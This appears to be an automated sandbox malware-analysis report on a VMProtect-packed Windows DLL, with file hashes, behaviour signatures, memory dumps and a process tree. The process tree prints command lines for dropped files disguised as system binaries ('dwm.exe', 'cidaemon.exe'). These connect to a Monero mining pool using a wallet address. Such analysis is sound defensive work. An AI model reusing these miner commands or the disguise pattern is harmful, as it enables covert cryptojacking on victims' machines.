Overview

overview

8

Static

static

41b660e5e3...ea.dll

windows7-x64

8

41b660e5e3...ea.dll

windows10-2004-x64

8

Analysis

  • max time kernel
    151s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2022 07:59

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General

  • Target

    41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea.dll

  • Size

    4.6MB

  • MD5

    f42201e1867d4b345373296577d40035

  • SHA1

    b691363aa20b1d7681c7557a6aa40f3596416555

  • SHA256

    41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea

  • SHA512

    4fac587eaa45e085b210b55164f928493af98911addc429772e5a45d5b205635ff846264a07e529a5d13d20f0b7ac2042139f44a036c3a2dae6f933f307461e6

  • SSDEEP

    98304:4STCsrzPn/z33xlGTvgLkbYWtYAMrbL3uxEqO0c5l:4SpzP/z378vokb8AMrbL+xEj0cT

Score
8/10
vmprotect

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • VMProtect packed file 8 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\41b660e5e3e0af00a8b8a78bc18e9c691781d0a0ebab9fe54bdc0918dc0bc6ea.dll,#1
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4844
      • C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
        C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe -o stratum+tcp://xmr-usa.dwarfpool.com:8080 -dbg -1 -p x -u 48mqxx742xV9MJHqHy7XQVJYKT6j1SmJBJTeJSRD2zfve1NdSg9io4yWUCsc7JJH8bgDg9opBicsJZtLTAGzswRiGZGUJ6v.2
        3⤵
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of AdjustPrivilegeToken
        PID:2140
      • C:\Users\Admin\AppData\Local\Temp\msupdate71\cidaemon.exe
        C:\Users\Admin\AppData\Local\Temp\msupdate71\cidaemon.exe -o stratum+tcp://xmr-usa.dwarfpool.com:8080 -dbg -1 -p x -u 48mqxx742xV9MJHqHy7XQVJYKT6j1SmJBJTeJSRD2zfve1NdSg9io4yWUCsc7JJH8bgDg9opBicsJZtLTAGzswRiGZGUJ6v.3
        3⤵
        • Executes dropped EXE
        PID:4416

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\msupdate71\cidaemon.exe
    Filesize

    1.6MB

    MD5

    69e6e75f2219d64f3c776d2ef313b9ff

    SHA1

    211042ac764db953ca0c54117aff8e241d86e4fe

    SHA256

    09bb784499c13f9a43548d0e660ba4e5f009f06f5d5da5d57d11a1b4aceb1f8a

    SHA512

    fa77b1bcc58d150df3e68fc64373302f71e2abcc058e0f6a1e29cfa44336146d8aa299c54bbc77e2ff877f0179a4429dcf01b841ede0379a8c7236fbab820410

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\msupdate71\cidaemon.exe
    Filesize

    1.6MB

    MD5

    69e6e75f2219d64f3c776d2ef313b9ff

    SHA1

    211042ac764db953ca0c54117aff8e241d86e4fe

    SHA256

    09bb784499c13f9a43548d0e660ba4e5f009f06f5d5da5d57d11a1b4aceb1f8a

    SHA512

    fa77b1bcc58d150df3e68fc64373302f71e2abcc058e0f6a1e29cfa44336146d8aa299c54bbc77e2ff877f0179a4429dcf01b841ede0379a8c7236fbab820410

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
    Filesize

    1.5MB

    MD5

    eedb9d86ae8abc65fa7ac7c6323d4e8f

    SHA1

    ce1fbf382e89146ea5a22ae551b68198c45f40e4

    SHA256

    d0326f0ddce4c00f93682e3a6f55a3125f6387e959e9ed6c5e5584e78e737078

    SHA512

    9de3390197a02965feed6acdc77a292c0ef160e466fbfc9500fa7de17b0225a935127da71029cb8006bc7a5f4b5457319362b7a7caf4c0bf92174d139ed52ab5

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\msupdate71\dwm.exe
    Filesize

    1.5MB

    MD5

    eedb9d86ae8abc65fa7ac7c6323d4e8f

    SHA1

    ce1fbf382e89146ea5a22ae551b68198c45f40e4

    SHA256

    d0326f0ddce4c00f93682e3a6f55a3125f6387e959e9ed6c5e5584e78e737078

    SHA512

    9de3390197a02965feed6acdc77a292c0ef160e466fbfc9500fa7de17b0225a935127da71029cb8006bc7a5f4b5457319362b7a7caf4c0bf92174d139ed52ab5

    Download Submit
  • memory/2140-133-0x0000000000000000-mapping.dmp
    Download
  • memory/2140-140-0x00007FF7573D0000-0x00007FF75777D000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/2140-143-0x00007FF7573D0000-0x00007FF75777D000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/2140-144-0x00007FF7573D0000-0x00007FF75777D000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/4416-139-0x00007FF613CA0000-0x00007FF61406F000-memory.dmp
    Filesize

    3.8MB

    Download
  • memory/4416-135-0x0000000000000000-mapping.dmp
    Download
  • memory/4844-132-0x0000000000000000-mapping.dmp
    Download